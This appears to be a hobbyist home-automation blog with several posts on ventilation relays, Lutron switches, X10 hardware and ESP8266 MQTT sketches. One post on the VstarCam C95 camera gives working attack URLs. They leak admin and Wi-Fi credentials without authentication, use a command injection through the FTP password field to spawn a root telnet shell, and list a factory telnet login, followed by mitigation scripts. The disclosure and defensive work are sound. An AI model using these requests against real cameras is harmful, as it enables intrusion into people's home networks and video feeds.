Monday, 28 August 2017

HRV Hijinks and other quick projects

This will be a pretty short post since this isn't really much of a hack and there isn't much to it...

I got a new LifeBreath HRV and the wall control left a little to be desired, and I am too cheap to spend $100 on a digital one WTF is in there you could get a cheap 7" tablet for less than $100 but I digress.

Anyway my control lacked a easy way to set high speed mode and has no timer whatsoever. I had a spare relay on my Pi from my X10 resetter project so I wired the ON and HIGH lines into it and created a MQTT control program which would switch the relay on and off after a specified period of time.  The code is pretty simple but if you want a copy just leave a comment.

Another thing I did was got a few Amazon Echo Dots.  I have an existing web API I can call with commands so I just setup Fauxmo to emulate Wemo devices and I can now control all my automation stuff through Alexa.

Sunday, 27 August 2017

VstarCam C95 Insecurity

So the following exploits work on the VstarCam C95

Get Admin Credentials and Config file without authentication:
http://camurl:port/system.ini?loginuse&loginpas
This file contains plain-text username and password for the admin account along with the unique ID of the camera.

http://camurl:port/network.ini?loginuse&loginpas
Will give you the local network config, SSID and WPA key.

Run arbitrary commands once authenticated:

Note: Change the admin username/password to what you got from the file above, this code will open a non password protected telnet server on port 25
http://camurl:port/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0
http://camurl:port/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin

However VstarCam was nice enough to leave a telnet server running with the following credentials:

Username: vstarcam2015                               password: 20150602

Mitigation:

WARNING!! IF YOU DON'T UNDERSTAND WHAT THESE SCRIPTS ARE DOING OR MAKE A MISTAKE YOU COULD EASILY BRICK YOUR DEVICE. THE CHANGES I MADE PERSISTED THROUGH A FACTORY RESET!! YOU HAVE BEEN WARNED!! IF YOU BREAK YOUR DEVICE YOU CAN KEEP BOTH HALVES, I TAKE NO RESPONSIBILITY!!!!!!

You can mitigate most of these problems with some simple startup scripts... There will be a race condition at bootup however where your system is vulnerable... Once started however you can make it so remote users can't get your login and network creds and you can change your telnet password.

Tomorrow I will look at setting up firewall rules to block connections to the web server until the config files are deleted.

Start by coping /system/www/network.ini and /system/www/settings.ini to /system/init/

Create the following files in /system/init/

Undelete.sh (This runs on startup and puts stuff back so it can get on the wifi and the web server can load the proper username and password)

MAKE SURE TO CHANGE THE <YOUR ROOT HASH HERE> part to a valid password hash or you will lock yourself out!
Undelete.sh:
cp /system/init/system.ini /system/www/
cp /system/init/network.ini /system/www/
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd
sleep 10
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd
sleep 10
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd
sleep 10
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd
sleep 30
echo "root:<YOUR ROOT HASH HERE>:0:0:Adminstrator:/:/bin/sh" > /etc/passwd

/system/init/delete.sh &

delete.sh will run and remove the ini files from the www directory after the system has started... it runs over and over until it doesn't find either file then exits. Then it waits and checks if the files come back every 30 seconds and removes them again.


delete.sh:
if [ -e /system/www/network.ini ]
then
        echo "ok"
        rm /system/www/system.ini
        rm /system/www/network.ini
        sleep 3
        /system/init/delete.sh &


    else
        echo "nok"
fi


if [ -e /system/www/system.ini ]
then
        echo "ok"
        rm /system/www/system.ini
        rm /system/www/network.ini
        sleep 3
        /system/init/delete.sh &
else
        sleep 30
        /system/init/delete.sh &
        exit
fi


exit


Finally modify your ipcam.sh file to run undelete...


ipcam.sh:
export PATH=/system/system/bin:$PATH
telnetd
export LD_LIBRARY_PATH=/system/system/lib:/mnt/lib:$LD_LIBRARY_PATH
mount -t tmpfs none /tmp -o size=3m

/system/init/undelete.sh &

/system/system/bin/upgrade &

/system/system/bin/wifidaemon


As an added measure I've hex edited the /system/system/bin/encoder executable and changed the names of set_ftp.cgi and ftptest.cgi to random characters since I don't use FTP functions anyway.  Though this isn't perfect it will prevent any automated scripts and script kiddies from getting root on my device.


I may also experiment with changing the system.ini file name in the binary as well as the loginuse and loginpas strings so my device will be very different from all the other ones out there, thus further obfuscating this attack surface. I will update this post once I have time to do this.

As a side note I have got much more reliable connections to my camera as well as less random reboots since I made these changes, I'm not sure why at this point, but I'm much happier with it now that it's slightly less vulnerable and more reliable.

Sunday, 4 June 2017

Die X10 Die (The X10, The) or How I switched to Lutron Casetta

So I finally did it!

I replaced my last X10 power line device (I still have some X10 RF motion sensors and keypads for the time being).   Probably a good thing too since when I pulled the switch out it had broken in half...

I got the Lutron Casetta dimmer kit from Home Depot. This included a wire in dimmer switch, a mini remote and the wired hub plus all the required hardware.

The wire in dimmer works with LED, incandescent and halogen loads and does not use a neutral wire.  It has 4 buttons on it: On, Brighter, Dimmer and Off and it also has a row of LEDs to indicate the current brightness.   It comes with a screwless (clip on) face plate with a plastic surround which I assume would go in a single gang box as assembled, I needed to put mine in a double gang box so I had to unclip the face plate and unscrew the plastic bezel and it fits perfectly in a standard Decora style cover plate.     It comes with 3 wire nuts (source, load and ground) and mounting screws to attach it to your electrical box.   It's considerably deeper than a regular switch, but smaller than a GFCI or the X10 module I had in there.

Installation is a breeze.  Turn off the breaker, remove the old switch, connect the line and load wires from the old switch to the wires coming out of the Lutron switch with the included wire nuts (You can connect the ground wire if you want but it's just crimped to the part that connects to the box so as long as your box is grounded it should be OK), then use the included screws to attach it to the box and finally clip the face plate on and turn the power back on. So easy even a caveman could do it!

The pico remote is the same size as the paddle of a Decora switch, it's relatively thin and runs on an included coin cell battery (probably a CR2032). It has all the same buttons as the main switch with the addition of a round button between the dimmer buttons which sets the brightness to 50% and a single LED.

It comes attached to a clear wall mounting clip with mounting tape on it. This allows it to be used as a "stick a switch" but can also be easily removed by sliding it out of the holder for portable use and to change batteries.

The last included piece is the wired hub.  It is a little white box and it has a strip along it that lights up white.  It comes with a power adapter, and a network cable.  (It does not support Wi-Fi).  Once you power the hub up and plug it into your network you can download the Lutron app for your phone or tablet and it will locate it and instruct you to press the button on the back of the hub to authorize your phone.

Once the basic setup is complete you will be prompted to pair your devices...  This involves going to the device (remote, wall switch, whatever) and holding the off button for 10 seconds until the lights flash quickly.  They will then be added to your app/hub after you give it a name.

You can assign the remote to scenes or individual devices via the app as well you can touch the light for an on screen remote with an on, off and a dimmer slider for any light on your system.  As well you can program timers with fairly granular control within the app. (Your remote and app can also be paired to work with Sonos systems, some Honeywell smart thermostats and other smart devices)

I've had no range issues and they give you ways of adding plug in modules to repeat the signal if you do run into trouble.

As far as hacking and integration goes, it seems there is a pro version which lets you enable telnet to send and receive commands but this kit seems to only include the standard version.

Fortunately the internets have come to the rescue and given us a certificate for logging into the SSH interface (there is no shell sadly, it's just a raw API type interface over SSH).

I have installed the library "pylutron_caseta" and got it working to the point where it can send and receive commands from the hub.  I get updates every time the switch changes state and can send a level from 0 to 100 (0 being off, 100 being on and 1-99 being a dim level) to control it.

I publish the state of this light to MQTT so my existing infrastructure can read it's current status as well as accept commands via MQTT to set the brightness level.  I also handle my MQTT switch I made earlier within this app the minimize delays and the switch works almost instantly now vs the 1-3 second delay with the old X10 system.

I'm not going to bother posting the code at this point since it's mostly just calling the module with a little bit of magic sauce for the MQTT stuff to work.  If you ended up here looking for a code example just leave me a comment and I will post my code.

Since it works in conjunction with my automation system as well as a motion detector the switch acts similar to a 3-way switch so flipping the switch will toggle the lights to the opposite state rather than having a static on/off position like a normal switch (though I do transmit the physical location of the switch to MQTT so I could easily change that).  When the lights are in a dimmed state, the first flip of the switch will bring the lights to full brightness and then toggle from there on out until they are dimmed again.

And now for the video of the new system working:





Wednesday, 19 April 2017

X10 CM19A Hard Resetter Kludge



I have an X10 CM19A USB Transceiver. This lets me send and receive X10 RF signals.. Though I am slowly phasing out my X10 stuff, I have a bunch of stuff I still use that's RF (only 1 powerline device which is next on the list to be replaced). My switches and motion detectors will probably stick around for another few years...

I stripped the antenna and added on a wire running to my duct work, this improved the range significantly!

This device works pretty well, but every so often it stops sending/receiving data from the PC and there's pretty much no way to tell when this happens... This problem persists through a system reboot and is only resolved with an unplug and replug. The issue seems to crop up after a few days to weeks of perfectly fine usage.

I tried to get Windows to turn off the device in software to no avail..

My solution was to automate powering the device down and resetting it...

I got a 2 port relay board and wired it to 5v, GND and 2xGPIO ports on my Raspi.

I also got a USB extension cable and carefully cut it open (It helps if you get a high quality cable, the wires aren't so thin).  I pulled the Red +5v wire out of the twisted set and cut it, then wrapped the rest of the wires in foil tape.  I then added 2 extension wires to either end and put the extension into the NC side of the relay board.

Keeping the inputs high normally keeps the relay off thus leaving the CM19a on, and a scheduled cron job in line with my system reboot time sets the GPIO pin low for 10 seconds to reset the device, then brings it back to high.

IR2MQTT



I wanted a good solution for using my Harmony IR remote with my automation PC for controlling lights and other functions but there isn't a great low cost option since the actual PC is in the basement and the receiver is in my living room...

I have a USB extender and a USB receiver and a remote that only works with the 10 button remote it came with, it also acts as a HID device and Windows won't let me see which keyboard sent the keystrokes or capture them without being in the foreground...

Enjoying my Wemos D1 clone so much, I ordered 4 more :P   I also found out how to properly address the pins, you use D# instead of just an int with a standard Arduino.

I also got this IR receiver kit for less than $2.

Connecting it with the included wires was simple:
+ to 5v, - to GND and S to D4

The following sketch will broadcast the codes as numeric string to the MQTT topic IR2MQTT
You need to set your server IP in the code, then power it up, and it will broadcast a WiFi network for initial setup.

You just need to build a receiver to find codes you care about and then preform an action.
Just subscribe to the topic and press the button on your remote a few times until you see a common code...

/*
 *  IR 2 MQTT with $2 IR module kit
 *
 */

#include <ESP8266WiFi.h>
#include <PubSubClient.h>
#include <DNSServer.h>
#include <ESP8266WebServer.h>
#include <WiFiManager.h>
#include <IRremoteESP8266.h>

const char* ssid = "...";   // Not used using WiFiManager
const char* password = "...";  // Not used using WiFiManager



int RECV_PIN = D4; //an IR detector connected to D4

IRrecv irrecv(RECV_PIN);

decode_results results;



//const char* mqtt_server = "broker.mqtt-dashboard.com";    // Public Broker
const char* mqtt_server = "YOUR LOCAL SERVER IP HERE";
WiFiClient espClient;
PubSubClient client(espClient);
long lastMsg = 0;
char msg[50];
int value = 0;

void setup_wifi() {

  delay(10);
  // We start by connecting to a WiFi network
  Serial.println();
  Serial.print("Connecting to ");
  Serial.println(ssid);

  //WiFi.begin(ssid, password);
   WiFiManager wifiManager;
   wifiManager.autoConnect("AutoConnectAP");

  while (WiFi.status() != WL_CONNECTED) {
    delay(500);
    Serial.print(".");
  }

  randomSeed(micros());

  Serial.println("");
  Serial.println("WiFi connected");
  Serial.println("IP address: ");
  Serial.println(WiFi.localIP());  
  irrecv.enableIRIn(); // Start the receiver

}

void callback(char* topic, byte* payload, unsigned int length) {
  Serial.print("Message arrived [");
  Serial.print(topic);
  Serial.print("] ");
  for (int i = 0; i < length; i++) {
    Serial.print((char)payload[i]);
  }
  Serial.println();

  // Switch on the LED if an 1 was received as first character
  if ((char)payload[0] == '1') {
    digitalWrite(BUILTIN_LED, LOW);   // Turn the LED on (Note that LOW is the voltage level
    // but actually the LED is on; this is because
    // it is acive low on the ESP-01)
  } else {
    digitalWrite(BUILTIN_LED, HIGH);  // Turn the LED off by making the voltage HIGH
  }

}

void reconnect() {
  // Loop until we're reconnected
  while (!client.connected()) {
    Serial.print("Attempting MQTT connection...");
    // Create a random client ID
    String clientId = "ESP8266Client-";
    clientId += String(random(0xffff), HEX);
    // Attempt to connect
    if (client.connect(clientId.c_str())) {
      Serial.println("connected");
      // Once connected, publish an announcement...
      //client.publish("outTopic", "hello world");
      // ... and resubscribe
      client.subscribe("inTopic");
    } else {
      Serial.print("failed, rc=");
      Serial.print(client.state());
      Serial.println(" try again in 5 seconds");
      // Wait 5 seconds before retrying
      delay(5000);
    }
  }
}

void setup() {

  Serial.begin(115200);

  // Bring up MQTT
  pinMode(BUILTIN_LED, OUTPUT);     // Initialize the BUILTIN_LED pin as an output
  setup_wifi();
  client.setServer(mqtt_server, 1883);
  client.setCallback(callback);




}

void loop() {
  // MQTT
 if (!client.connected()) {
    reconnect();
  }
  client.loop();



  // IR

    if (irrecv.decode(&results)) {
    //Serial.println(results.value, HEX);
    unsigned long buffer;
    buffer = results.value;
    String numberString = String(buffer);
    char charBuf[50];
    numberString.toCharArray(charBuf, 50);
 
    Serial.println(buffer);
 
    client.publish("IR2MQTT",  charBuf);
    irrecv.resume(); // Receive the next value
  }

  }

Monday, 10 April 2017

Prototype Switch

This is a prototype switch I have started working on...

It was based on this guys work: http://www.echotwek.com/wp/2014/03/20/arduino-controlled-light-switch-v2

I had a Leviton Decora switch P/N 5601 from Home Depot lying around and I was going to try this mod, when I popped the rocker off with a flat blade screwdriver I noticed there were rivet holes drilled right through from behind the rocker all the way out the back cover and grounded.

I took 2 pieces of DuPont connector wire I had for my Arudino projects and hot glued one to the top half and one to the bottom half of the back side of the rocker plate.  I did not cut, or modify the switch in any way other than putting the wire through and adding some glue to the plastic paddle.

The final plan would be to replace the wire with something non conductive like fishing line and then make two tiny holes in  the back end of an electrical box and hot glue the servo to the outside back of the box.  This way the whole thing would be non-conductive should it break loose, and the low voltage servo and micro controller would not be in the same box as the high voltage switch... This also alleviates the problem of trying to cram a servo into a tiny electrical box.

I'm not 100% sure this is to code, but since all the modifications are non conductive and the LV stuff is outside the box it should be relatively safe.

I DO NOT RECOMMEND ANYONE TRY THIS AS IT IS PROBABLY AGAINST SOME KIND OF CODE AND TAKE NO RESPONSIBILITY IF YOUR HOUSE BURNS DOWN OR YOUR DIE!!!!

Here's a video of it in action:
https://www.youtube.com/watch?v=BXbQ4DRkqv0

Saturday, 18 March 2017

Wemos ESP8266 based (WiFi) Stick-A-Switch Arduino Compatible




I got this guy off eBay for $4, I'm pretty sure it's a Chinese clone of the actual thing and it _might_ be an older revision but it seems to work...

The board is a Wemos D1, I believe in this boards case you are programming the ESP chip itself and it does not have the usual Atmega processor.  It works with the Arduino IDE however and programs in the same way so  there is no learning curve.

You will need to load the ESP boards into your Arduino IDE, so follow these instructions to do that.

This unit seems to take longer to actually upload sketches to, but it seems to be much more reliable as far as staying on and responding on the WiFi and being less location sensitive than the WiFi Shield I used in my last project.

I believe it has less inputs (for sure on the analog side it only has 1). It should have 11 input pins but apparently they don't match the standard pin numbering. They are also labeled with specific purposes (SPI it looks like) so I'm not sure if you are required to use them for that or not, I put this one into a project so I can't test it, I have another on the way and I'll add some more details in the future.

According to the datasheet:
11 digital input/output pins, all pins have interrupt/pwm/I2C/one-wire supported(except for D0)
1 analog input(3.2V max input)
Power jack, 9-24V power input.

You can find more information on it here:

It seems to have internal pullup/pulldown on some pins, again according to the datasheet.

Anyway enough jibber-jabbering... Let's do something fun with it!

I decided to try and make a switch that could send messages to control something with this...
I decided I wanted to get MQTT working so this will tell you how to make this.

I also today learned about this library called WiFiManager which mimics the usual behavior of IoT devices providing an AP to configure it's WiFi parameters so I have added this to the project as well.

It is possible to add additional settings such as MQTT server to WiFi manager so you can set everything up on the fly via your smartphone, but I haven't done that yet, I have just put the servers IP into the code.

So I took a box (which happened to be from a WiFi Controller for some connected bulbs) that was the perfect size for the switch and somewhat rigid.  I cut a hole in it so the back of the standard light switch would slip in there and bolted it to the box.

I put a resistor into GND and pin D2 on the Wemos board, and the plugged the switch into 5v and the D2 side of the resistor and wrapped it all in electical tape to keep it from shorting out.  I then put some tape on the bottom of the board to make sure it wouldn't short out against the switch and jammed it into the box.   A cover plate for the switch completed the build.

I then loaded the following sketch onto the board, and added a new topic to my X10 controller's MQTT receiver (that currently controls the lights in the bathroom)..

You will need to load the PubsubClient (MQTT Client)
You will also need  WiFi Manager if you plan on using it as I did in this sketch
The rest should already be installed with the board.

============Start Sketch ==============

/*
 *  MQTT Light switch by Guyfromhe
 */

#include <ESP8266WiFi.h>
#include <PubSubClient.h>
#include <DNSServer.h>
#include <ESP8266WebServer.h>
#include <WiFiManager.h>

const char* ssid = ".....";   // Not used if using WiFiManager
const char* password = "......"; // Not used if using WiFiManager





const int swpin = 16;  // This is pin D2 on the board... Don't ask me :P
int sw = 0;
int lastsw = 0;
int buttonTime = 0;

//const char* mqtt_server = "broker.mqtt-dashboard.com";    // Public Broker. Can use if you want
const char* mqtt_server = "192.168.0.xxx";  // Mosquito on my Raspberry Pi (apt-get install mosquitto)
WiFiClient espClient;   // Init WiFi
PubSubClient client(espClient);  //Init MQTT client
long lastMsg = 0;
char msg[50];
int value = 0;

void setup_wifi() {

  delay(10);
  // We start by connecting to a WiFi network
  Serial.println();
  Serial.print("Connecting to ");
  Serial.println(ssid);

  //WiFi.begin(ssid, password);  // Uncomment this if you want to use the credentials at the top
   WiFiManager wifiManager;   // or use WiFi manager for credentials
   wifiManager.autoConnect("AutoConnectAP");

  while (WiFi.status() != WL_CONNECTED) {
    delay(500);
    Serial.print(".");
  }

  randomSeed(micros());

  Serial.println("");
  Serial.println("WiFi connected");
  Serial.println("IP address: ");
  Serial.println(WiFi.localIP());
}

void callback(char* topic, byte* payload, unsigned int length) {
// This will print out messages from topics we are subbed to
// This is the default code from the PubSub Example, it will control the LED
  Serial.print("Message arrived [");
  Serial.print(topic);
  Serial.print("] ");
  for (int i = 0; i < length; i++) {
    Serial.print((char)payload[i]);
  }
  Serial.println();

  // Switch on the LED if an 1 was received as first character
  if ((char)payload[0] == '1') {
    digitalWrite(BUILTIN_LED, LOW);   // Turn the LED on (Note that LOW is the voltage level
    // but actually the LED is on; this is because
    // it is acive low on the ESP-01)
  } else {
    digitalWrite(BUILTIN_LED, HIGH);  // Turn the LED off by making the voltage HIGH
  }

}

void reconnect() {
  // Loop until we're reconnected
  while (!client.connected()) {
    Serial.print("Attempting MQTT connection...");
    // Create a random client ID
    String clientId = "ESP8266Client-";
    clientId += String(random(0xffff), HEX);
    // Attempt to connect
    if (client.connect(clientId.c_str())) {
      Serial.println("connected");
      client.subscribe("inTopic");
    } else {
      Serial.print("failed, rc=");
      Serial.print(client.state());
      Serial.println(" try again in 5 seconds");
      // Wait 5 seconds before retrying
      delay(5000);
    }
  }
}

void setup() {
  pinMode(swpin, INPUT);
  sw = digitalRead(swpin);
  lastsw = digitalRead(swpin);
  Serial.begin(115200);

  // Bring up MQTT
  pinMode(BUILTIN_LED, OUTPUT);     // Initialize the BUILTIN_LED pin as an output
  setup_wifi();
  client.setServer(mqtt_server, 1883);
  client.setCallback(callback);




}

void loop() {
  // MQTT
 if (!client.connected()) {
    reconnect();
  }
  client.loop();



  // Button



  sw = digitalRead(swpin);
  if (sw != lastsw) {
    if ((millis() - buttonTime) > 50)        // Number of mills for debounce counter
      Serial.println(sw);
      lastsw = sw;
      buttonTime = millis();
      if (sw == 0) { client.publish("MySwitchTopic", "Switch Off!"); }
      if (sw == 1) { client.publish("MySwitchTopic", "Switch On!"); }
   
  }

}

============ End Sketch ==============

After running a short USB cable to it (since it needs constant power) I stuck it to the wall with some mounting tape.  Works great and is simple to use.

EDIT: Recently upgraded from X10 to Lutron for control of the actual fixture and now the delay between flipping the switch and the light changing states is gone.  See my post on Lutron for details.

In the future I would like to make it much thinner by modifying the switch and run it on batteries by building an Arduino from scratch and using ultra low power sleep mode along with an nRF24 in sleep mode.

Total cost $4.



Stay tuned for more projects, and cheap hacks.